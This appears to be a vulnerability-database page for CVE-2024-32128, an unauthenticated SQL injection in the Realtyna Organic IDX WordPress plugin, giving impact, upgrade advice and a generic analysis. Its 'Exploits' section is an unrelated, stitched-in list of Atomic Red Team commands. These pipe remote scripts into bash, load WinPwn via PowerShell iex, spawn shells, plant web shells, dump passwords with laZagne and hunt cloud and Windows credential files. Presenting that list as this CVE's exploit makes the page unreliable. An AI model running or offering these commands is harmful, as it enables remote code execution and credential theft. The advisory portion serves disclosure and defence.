CVE-2024-32128
Overview
This vulnerability is a SQL Injection caused by improper neutralization of special elements within SQL commands in the Realtyna Organic IDX plugin for WordPress. The root cause is insufficient escaping and lack of prepared statements on user-supplied input parameters within the plugin's query construction. The affected component is the query handling mechanism in the property listing AJAX functions of the plugin, specifically in versions up to and including 4.14.4.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Realtyna Realtyna Organic IDX plugin.This issue affects Realtyna Organic IDX plugin: from n/a through 4.14.4.
Impact
An unauthenticated attacker can execute arbitrary SQL commands against the backend database by exploiting this vulnerability. This enables extraction of sensitive data, tampering with database records, or partial database compromise. No user authentication or interaction is required to exploit the flaw, increasing the risk of data breaches and unauthorized access to confidential information stored within the plugin's database context.
Solution
Users should upgrade the Realtyna Organic IDX plugin to a version later than 4.14.4 where the vulnerability is addressed. Patchstack and the plugin vendor provide advisories detailing the fix. Refer to the official Patchstack advisory and the plugin update notes at https://patchstack.com/database/vulnerability/real-estate-listing-realtyna-wpl for precise patch instructions and version details to mitigate this issue.
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Full Analysis
The vulnerability in the Realtyna Organic IDX plugin arises from improper neutralization of special elements used in SQL commands, commonly known as SQL injection. This type of vulnerability occurs when user input is not adequately sanitized before being incorporated into SQL queries. Attackers can exploit this weakness by injecting malicious SQL code through input fields, which the application then executes against the database. This can lead to unauthorized access to sensitive data, manipulation of database entries, or even complete control over the database server, depending on the privileges of the database user associated with the application.
Attack vectors for this vulnerability are diverse and can be executed through various means, including web forms, URL parameters, or API requests. For instance, an attacker could submit crafted input through a search field or a contact form, which the plugin processes without proper validation. Once the malicious input is executed, the attacker can retrieve sensitive information such as user credentials, personal data, or proprietary business information. In more severe cases, the attacker may alter or delete data, leading to significant disruptions in service or data integrity. Exploitation scenarios can range from targeted attacks against specific organizations to widespread automated attacks using bots that scan for vulnerable installations of the plugin.
The real-world impact of this vulnerability can be substantial, particularly for businesses relying on the Realtyna Organic IDX plugin for real estate listings and transactions. A successful SQL injection attack can compromise customer data, leading to privacy violations and potential legal ramifications under data protection regulations. Furthermore, the financial implications can be severe, including loss of customer trust, reputational damage, and the costs associated with incident response and remediation. Organizations may also face regulatory fines if they fail to protect sensitive information adequately. The high CVSS score of 9.3 underscores the critical nature of this vulnerability and the urgent need for organizations to address it.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they are exploited. Utilizing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious requests before they reach the application. Furthermore, developers should adopt secure coding practices, such as using prepared statements and parameterized queries, to ensure that user input is properly sanitized. Keeping the Realtyna Organic IDX plugin and all related software up to date is also crucial, as updates often include patches for known vulnerabilities.
In conclusion, the SQL injection vulnerability in the Realtyna Organic IDX plugin poses a significant threat to organizations that utilize this software for their real estate operations. The potential for data breaches, financial loss, and reputational damage necessitates immediate attention and proactive measures. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such attacks and safeguard their critical data assets.
Affected Products
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Exploits
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
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Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
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References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-32128 |
| patchstack.com |
GitHub CVE
vdb-entry
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https://patchstack.com/database/vulnerability/real-estate-listing-realtyna-wpl/wordpress-realtyna-organic-idx-plugin-wpl-real-estate-plugin-4-14-4-unauthenticated-sql-injection-vulnerability?_s_id=cve |